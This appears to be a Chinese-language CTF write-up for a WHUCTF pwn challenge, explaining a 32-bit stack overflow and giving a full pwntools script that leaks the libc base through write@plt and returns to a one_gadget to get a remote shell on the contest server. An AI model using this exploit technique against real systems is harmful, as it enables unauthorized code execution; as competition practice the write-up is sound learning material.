花了大概两天时间来做WHUCTF的题目,第一次排名这么靠前。首先感谢武汉大学举办这次萌新赛,也感谢fmyy的师傅的耐心指导,让我第一次做出堆的题目来。

WHUCTF PWN题目

pwnpwnpwn

  这是一道栈题目,32位程序,只开启了堆栈不可执行。栈溢出泄露libc的基地址,然后换成one_gadget,就可以了。

 1 from pwn import *
 2 
 3 #p = process('./pwn')
 4 p = remote('218.197.154.9',10004)
 5 elf = ELF('./pwn')
 6 context.log_level = 'debug'
 7 
 8 write_plt = elf.plt['write']
 9 fun_got = elf.got['__libc_start_main']
10 main = elf.symbols['main']
11 
12 payload = 'a'*0x88 + 'bbbb' + p32(write_plt)
13 payload += p32(main) + p32(1) + p32(fun_got) + p32(0x10)
14 p.sendlineafter('Ready?\n',payload)
15 base_addr = u32(p.recv(4)) - 0x018540
16 shell = base_addr + 0x3a80c
17 payload = 'a'*0x88 + 'bbbb' + p32(shell)
18 p.sendlineafter('Ready?\n',payload)
19 p.interactive()
View Code

相关文章: